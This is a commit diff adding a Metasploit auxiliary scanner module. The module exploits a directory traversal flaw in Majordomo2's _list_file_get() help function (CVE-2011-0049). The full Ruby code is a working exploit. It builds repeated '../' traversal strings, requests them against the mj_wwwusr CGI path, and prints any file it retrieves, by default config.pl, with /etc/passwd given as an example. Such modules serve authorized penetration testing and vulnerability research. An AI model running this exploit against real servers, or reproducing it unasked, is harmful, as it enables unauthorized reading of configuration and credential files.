Added majordomo2 directory traversal aux module - thx Nicolas Sotiriu

git-svn-id: file:///home/svn/framework3/trunk@11932 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/gather/majordomo2_directory_traversal.rb

@@ -0,0 +1,106 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'           => 'Majordomo2 _list_file_get() Directory Traversal',
+			'Version'        => '$Revision: 10821 $',
+			'Description'    => %q{
+					This module exploits a directory traversal vulnerability present in
+				the _list_file_get() function of Majordomo2 (help function). By default, this 
+				module will attempt to download the Majordomo config.pl file.
+			},
+			'Author'         =>
+				['Nikolas Sotiriu http://www.sotiriu.de'],
+			'References'     =>
+				[
+					['OSVDB', '70762'],
+					['OSVDB', 'tocome'],
+					['CVE', '2011-0049'],
+					['CVE', '2011-0063'],
+					['URL', 'https://sitewat.ch/en/Advisory/View/1'],
+					['URL', 'http://sotiriu.de/adv/NSOADV-2011-003.txt'],
+					['URL', 'http://www.exploit-db.com/exploits/16103/']
+				],
+			'DisclosureDate' => 'Mar 08 2011',
+			'License'        =>  MSF_LICENSE
+		)
+
+		register_options(
+			[
+				Opt::RPORT(80),
+				OptString.new('FILE', [ true,  "Define the remote file to view, ex:/etc/passwd", 'config.pl']),
+				OptString.new('URI', [true, 'Majordomo vulnerable URI path', '/cgi-bin/mj_wwwusr/domain=domain?user=&passw=&func=help&extra=']),
+				OptInt.new('DEEP', [true, 'Define the max deep of traversals', '8']),
+			], self.class)
+	end
+
+	def target_url
+		"http://#{vhost}:#{rport}#{datastore['URI']}"
+	end
+
+	def run_host(ip)
+		travString = [
+			'../',
+			'./.../'
+		]
+		uri = datastore['URI']
+		file = datastore['FILE']
+		deep = datastore['DEEP']
+		file = file.gsub(/^\//, "")
+
+		travString.each do |tStr|
+
+			i = 1
+			while (i <= deep)
+				str = "#{str}#{tStr}"
+				payload = "#{str}#{file}"
+
+				res = send_request_raw(
+					{
+						'method'  => 'GET',
+						'uri'     => uri + payload,
+					}, 25)
+
+				print_status("Majordomo2 - Checking " + payload )
+
+				if (res and res.code == 200 and res.body)
+					if res.body.match(/\<html\>(.*)\<\/html\>/im)
+						html = $1
+
+						if res.body =~ /unknowntopic/
+							print_error("Majordomo2 - Not found ...")
+						else
+							file_data = html.gsub(%r{(.*)<pre>|<\/pre>(.*)}m, '')
+							print_good("Majordomo2 - Vulnerable")
+							print_good("Majordomo2 - File Output:\n" + file_data + "\n")
+							return :abort
+						end
+					else
+						print_error("Majordomo2 - No HTML was returned")
+					end
+				else
+					print_error("Majordomo2 - Unrecognized #{res.code} response")
+				end
+				i += 1;
+			end
+		end
+
+		print_error("Majordomo2 - Not vulnerable or you didn't look DEEP enough!")
+	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+	rescue ::Timeout::Error, ::Errno::EPIPE
+	end
+
+end